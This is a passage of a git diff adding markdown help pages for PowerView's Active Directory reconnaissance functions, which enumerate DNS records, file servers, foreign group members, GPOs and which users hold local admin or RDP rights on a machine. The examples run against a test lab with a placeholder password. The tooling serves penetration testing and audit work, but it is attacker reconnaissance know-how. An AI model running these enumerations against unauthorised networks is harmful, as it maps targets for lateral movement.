+Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 7 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Version +{{Fill Version Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 8 +Default value: All +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.Management.Automation.PSCustomObject + +A custom PSObject describing the distributed file systems. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainDNSRecord.md b/docs/Recon/Get-DomainDNSRecord.md new file mode 100755 index 00000000..e444fd5a --- /dev/null +++ b/docs/Recon/Get-DomainDNSRecord.md @@ -0,0 +1,181 @@ +# Get-DomainDNSRecord + +## SYNOPSIS +Enumerates the Active Directory DNS records for a given zone. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord + +## SYNTAX + +``` +Get-DomainDNSRecord [-ZoneName] [-Domain ] [-Server ] [-Properties ] + [-ResultPageSize ] [-ServerTimeLimit ] [-FindOne] [-Credential ] +``` + +## DESCRIPTION +Given a specific Active Directory DNS zone name, query for all 'dnsNode' +LDAP entries using that zone as the search base. +Return all DNS entry results +and use Convert-DNSRecord to try to convert the binary DNS record blobs. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainDNSRecord -ZoneName testlab.local +``` + +Retrieve all records for the testlab.local zone. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainDNSZone | Get-DomainDNSRecord +``` + +Retrieve all records for all zones in the current domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local +``` + +Retrieve all records for all zones in the dev.testlab.local domain. + +## PARAMETERS + +### -ZoneName +Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +The domain to query for zones, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to for the search. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Name,distinguishedname,dnsrecord,whencreated,whenchanged +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.DNSRecord + +Outputs custom PSObjects with detailed information about the DNS record entry. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainDNSZone.md b/docs/Recon/Get-DomainDNSZone.md new file mode 100755 index 00000000..7065b261 --- /dev/null +++ b/docs/Recon/Get-DomainDNSZone.md @@ -0,0 +1,156 @@ +# Get-DomainDNSZone + +## SYNOPSIS +Enumerates the Active Directory DNS zones for a given domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +## SYNTAX + +``` +Get-DomainDNSZone [[-Domain] ] [-Server ] [-Properties ] [-ResultPageSize ] + [-ServerTimeLimit ] [-FindOne] [-Credential ] +``` + +## DESCRIPTION +{{Fill in the Description}} + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainDNSZone +``` + +Retrieves the DNS zones for the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainDNSZone -Domain dev.testlab.local -Server primary.testlab.local +``` + +Retrieves the DNS zones for the dev.testlab.local domain, binding to primary.testlab.local. + +## PARAMETERS + +### -Domain +The domain to query for zones, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to for the search. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.DNSZone + +Outputs custom PSObjects with detailed information about the DNS zone. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainFileServer.md b/docs/Recon/Get-DomainFileServer.md new file mode 100755 index 00000000..34e9f00e --- /dev/null +++ b/docs/Recon/Get-DomainFileServer.md @@ -0,0 +1,200 @@ +# Get-DomainFileServer + +## SYNOPSIS +Returns a list of servers likely functioning as file servers. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher + +## SYNTAX + +``` +Get-DomainFileServer [[-Domain] ] [[-LDAPFilter] ] [[-SearchBase] ] + [[-Server] ] [[-SearchScope] ] [[-ResultPageSize] ] [[-ServerTimeLimit] ] + [-Tombstone] [[-Credential] ] +``` + +## DESCRIPTION +Returns a list of likely fileservers by searching for all users in Active Directory +with non-null homedirectory, scriptpath, or profilepath fields, and extracting/uniquifying +the server names. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainFileServer +``` + +Returns active file servers for the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainFileServer -Domain testing.local +``` + +Returns active file servers for the 'testing.local' domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainFileServer -Credential $Cred + +## PARAMETERS + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DomainName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: 4 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: 6 +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: 7 +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 8 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### String + +One or more strings representing file server names. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainForeignGroupMember.md b/docs/Recon/Get-DomainForeignGroupMember.md new file mode 100755 index 00000000..90617747 --- /dev/null +++ b/docs/Recon/Get-DomainForeignGroupMember.md @@ -0,0 +1,238 @@ +# Get-DomainForeignGroupMember + +## SYNOPSIS +Enumerates groups with users outside of the group's domain and returns +each foreign member. +This is a domain's "incoming" access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainGroup + +## SYNTAX + +``` +Get-DomainForeignGroupMember [[-Domain] ] [-LDAPFilter ] [-Properties ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +Uses Get-DomainGroup to enumerate all groups for the current (or target) domain, +then enumerates the members of each group, and compares the member's domain +name to the parent group's domain name, outputting the member if the domains differ. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainForeignGroupMember +``` + +Return all group members in the current domain where the group and member differ. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainForeignGroupMember -Domain dev.testlab.local +``` + +Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred + +Return all group members in the dev.testlab.local domain where the member is +not in dev.testlab.local. +binding to the secondary.dev.testlab.local for +queries, and using the specified alternate credentials. + +## PARAMETERS + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ForeignGroupMember + +Custom PSObject with translated group member property fields. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainForeignUser.md b/docs/Recon/Get-DomainForeignUser.md new file mode 100755 index 00000000..85b00925 --- /dev/null +++ b/docs/Recon/Get-DomainForeignUser.md @@ -0,0 +1,239 @@ +# Get-DomainForeignUser + +## SYNOPSIS +Enumerates users who are in groups outside of the user's domain. +This is a domain's "outgoing" access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainUser + +## SYNTAX + +``` +Get-DomainForeignUser [[-Domain] ] [-LDAPFilter ] [-Properties ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +Uses Get-DomainUser to enumerate all users for the current (or target) domain, +then calculates the given user's domain name based on the user's distinguishedName. +This domain name is compared to the queried domain, and the user object is +output if they differ. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainForeignUser +``` + +Return all users in the current domain who are in groups not in the +current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainForeignUser -Domain dev.testlab.local +``` + +Return all users in the dev.testlab.local domain who are in groups not in the +dev.testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred + +Return all users in the dev.testlab.local domain who are in groups not in the +dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and +using the specified alternate credentials. + +## PARAMETERS + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ForeignUser + +Custom PSObject with translated user property fields. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainGPO.md b/docs/Recon/Get-DomainGPO.md new file mode 100755 index 00000000..9d0a4685 --- /dev/null +++ b/docs/Recon/Get-DomainGPO.md @@ -0,0 +1,354 @@ +# Get-DomainGPO + +## SYNOPSIS +Return all GPOs or specific GPO objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty + +## SYNTAX + +### None (Default) +``` +Get-DomainGPO [[-Identity] ] [-Domain ] [-LDAPFilter ] [-Properties ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-FindOne] [-Credential ] + [-Raw] +``` + +### ComputerIdentity +``` +Get-DomainGPO [[-Identity] ] [-ComputerIdentity ] [-Domain ] [-LDAPFilter ] + [-Properties ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-FindOne] + [-Credential ] [-Raw] +``` + +### UserIdentity +``` +Get-DomainGPO [[-Identity] ] [-UserIdentity ] [-Domain ] [-LDAPFilter ] + [-Properties ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-FindOne] + [-Credential ] [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties samaccountname,usnchanged,...". +By default, all GPO objects for +the current domain are returned. +To enumerate all GPOs that are applied to +a particular machine, use -ComputerName X. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainGPO -Domain testlab.local +``` + +Return all GPOs for the testlab.local domain + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainGPO -ComputerName windows1.testlab.local +``` + +Returns all GPOs applied windows1.testlab.local + +### -------------------------- EXAMPLE 3 -------------------------- +``` +"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO +``` + +Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display +name of "Test GPO" + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon +``` + +### -------------------------- EXAMPLE 5 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPO -Credential $Cred + +## PARAMETERS + +### -Identity +A display name (e.g. +'Test GPO'), DistinguishedName (e.g. +'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), +GUID (e.g. +'10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. +'{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ComputerIdentity +Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.). + +```yaml +Type: String +Parameter Sets: ComputerIdentity +Aliases: ComputerName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserIdentity +Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.). + +```yaml +Type: String +Parameter Sets: UserIdentity +Aliases: UserName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.GPO + +Custom PSObject with translated GPO property fields. + +PowerView.GPO.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainGPOComputerLocalGroupMapping.md b/docs/Recon/Get-DomainGPOComputerLocalGroupMapping.md new file mode 100755 index 00000000..4e5015be --- /dev/null +++ b/docs/Recon/Get-DomainGPOComputerLocalGroupMapping.md @@ -0,0 +1,263 @@ +# Get-DomainGPOComputerLocalGroupMapping + +## SYNOPSIS +Takes a computer (or GPO) object and determines what users/groups are in the specified +local group for the machine through GPO correlation. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup + +## SYNTAX + +### ComputerIdentity (Default) +``` +Get-DomainGPOComputerLocalGroupMapping [-ComputerIdentity] [-LocalGroup ] [-Domain ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +### OUIdentity +``` +Get-DomainGPOComputerLocalGroupMapping -OUIdentity [-LocalGroup ] [-Domain ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups +are in the specified local group for a target machine through GPO correlation. + +If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to +determine the OU the computer is a part of. +Then resolve the computer's site name with +Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. +For those results, attempt to +enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. +For +each resulting GPO group, resolve the resulting user/group name to a full AD object and +return the results. +This will return the domain objects that are members of the specified +-LocalGroup for the given computer. + +Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and +localgroup specifications. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local +``` + +Finds users who have local admin rights over WINDOWS3 through GPO correlation. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP +``` + +Finds users who have RDP rights over WINDOWS4 through GPO correlation. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local + +## PARAMETERS + +### -ComputerIdentity +A SamAccountName (e.g. +WINDOWS10$), DistinguishedName (e.g. +CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. +4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. +windows10.testlab.local) for the computer to identity GPO local group mappings for. + +```yaml +Type: String +Parameter Sets: ComputerIdentity +Aliases: ComputerName, Computer, DistinguishedName, SamAccountName, Name + +Required: True +Position: 1 +Default value: None +Accept 